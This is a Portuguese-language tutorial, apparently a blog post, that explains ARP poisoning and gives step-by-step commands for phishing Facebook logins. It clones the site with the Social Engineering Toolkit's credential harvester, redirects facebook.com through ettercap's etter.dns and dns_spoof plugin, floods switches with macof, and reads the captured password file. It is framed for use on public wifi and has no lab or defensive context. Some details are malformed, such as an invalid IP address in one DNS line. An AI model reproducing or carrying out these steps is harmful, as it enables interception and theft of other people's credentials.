A exploração do ARP Poisoning é o método mais rápido de se estabelecer no meio da comunicação entre duas máquinas e interceptar as informações enviadas entre ambas, fazendo com que possua acesso a dados confidenciais, senhas e relatórios de tráfego, e essa técnica é mais conhecida como Man in the Middle. Esse método se aplica somente em redes Ethernet ou seja, esse tipo de comunicação pode ser resumido em redes internas, sejam elas empresariais, residenciais ou até mesmo aquele wifi livre na praça de alimentação do Shopping ou do café que você gosta de frequentar.

Esse tipo de rede trabalha com dois endereços de identificação: O MAC Address e o IP.
O endereço MAC é o endereço físico da placa de rede, e o padrão Ethernet envia os dados em forma de (relativamente) pequenos frames de 1500 bytes, e os cabeçalhos de identificação Ethernet desses frames enviam o endereço MAC para a identificação entre clientes e servidores durante a troca de informações.
O IP (Internet Protocol) é o endereço que é atribuído a placa de rede independente de onde ela opera, seja por métodos estáticos ou dinâmicos.
Esses dois endereços de identificação devem trabalhar juntos para o envio, fragmentação e identificação dos frames na rede e envio para a porta destino mapeadas anteriormente e identificadas pelo MAC e IP.
Como funciona o protocolo ARP?
O ARP (Address Resolution Protocol) é o protocolo de resolução de nomes dentro de uma rede. Ele tem a função de vincular um IP virtual ao seu devido endereço físico. Quando um pacote chega da Internet para a rede interna, o Gateway tem a função de ler o cabeçalho da requisição, encontrar o MAC Address responsável e encaminhar para o IP virtual responsável. E a técnica que iremos utilizar aqui irá "by-passar" essa resolução, bagunçando o cache do ARP e fazendo com que o cliente e servidor redirecionem os pacotes trafegados para onde a gente quiser.

Sem mais firulas, hands on!!
Utilizando o SET (Social Engineering Toolkit)
Preparando o ambiente
Se você estiver realizando o ataque em um ambiente Kali, será necessário
algumas preparações antes de prosseguir. Vamos editar o arquivo
/etc/setoolkit/set.config e mudar o parâmetro que define o diretório
root do apache.
Inicie o apache
# service apache2 start
Edite o diretório root do apache
O SET por padrão salva os sites clonados no diretório /var/www/, porém o
DocumentRoot das versões mais novas, vêm apontado diretamente para a
pasta /var/www/html. Vamos ajustar esse parâmetro antes de continuarmos
com o ataque.
# vim /etc/setoolkit/set.config
Altere o parâmetro APACHE_DIRECTORY para o valor /var/www/html/

1. Clonando o site alvo
Esse exemplo terá uma mescla de engenharia social no quesito de ferramental. Normalmente, você utilizaria essa ferramenta para criar um link falso e fazer uma pessoa clicar para capturar por POST os dados que ela digitou, nesse exemplo vamos só clonar o site e realizar a mágica mais tarde.Ative o Social Engineering Toolkit
#setoolkit

Agora nessa ordem:
Selecione a opção 1 "Social-Engineering Attacks"
Selecione a opção 2 "Website Attack Vectors"
Selecione a opção 3 "Credential Harvester Attack Method"
Selecione a opção 2 "Site Cloner"
Neste passo iremos definir o IP da sua máquina que servirá de servidor para o ataque. Os dados vão ser enviados pra cá no caso, caso esteja em dúvida você poderá ver o seu IP na rede abrindo outro terminal e digitando
#ip addr
ou
#ifconfig
Agora você vai digitar o site que será clonado, vamo realizar o ataque clonando o Facebook.
# www.facebook.com
Ele irá realizar o clone e gravar na pasta /var/www/html. Dependendo da sua versão do apache, ele vai jogar o DocumentRoot no diretório /var/www/htdocs ou /var/www/html


2. Realizando o Arp Poisoning
Ok, tudo perfeito. Agora vamos realizar uma técnica chamada Arp SpoofingEdite o arquivo /etc/ettercap/etter.dns
#vim /etc/ettercap/etter.dns
e adicione as linhas no final do arquivo
facebook.com A 192.168.0.100
m.facebook.com A 192.168.0.100
*.facebook.com A 192.168.0.100
www.facebook.com PTR 192.168.0.100
https://www.facebook.com A 192.168.0.0.100
Sendo o IP 192.168.0.100 o número do seu IP como atacante.
Esse parâmetro irá redirecionar todo o tráfego mandado para o facebook
para a sua máquina, você conseguiu esse resultado deixando o servidor de
resolução de nomes maluco.
Abra o ettercap
Na aba Host, selecione a opção "Scan for hosts" ou dê um Ctrl + S para procurar os hosts em sua rede.
Novamente na aba "hosts" selecione a opção "Host List"

Caso esteja realizando o ataque de uma rede com Switches, abra um terminal, e como root digite
# macofEste comando irá inundar o filtro de MAC no Switch e irá facilitar o spoofing
Em seguida clique em "Plugins" e logo após um duplo clique sobre a opção "dns_spoof"


3. Realizando o ataque
Agora vamos esperar que o alvo entre na url www.facebook.com

4. Agora vamos ver a senha capturada:
O SET cria um arquivo chamado harvester_ano_dia_mes hora.txt no diretório do Apache. Vamos dar um cat no arquivo# cd /var/www/html
# ls -l

# cat harvester_2015-19-03\ 20\:34\:58.901465.txt
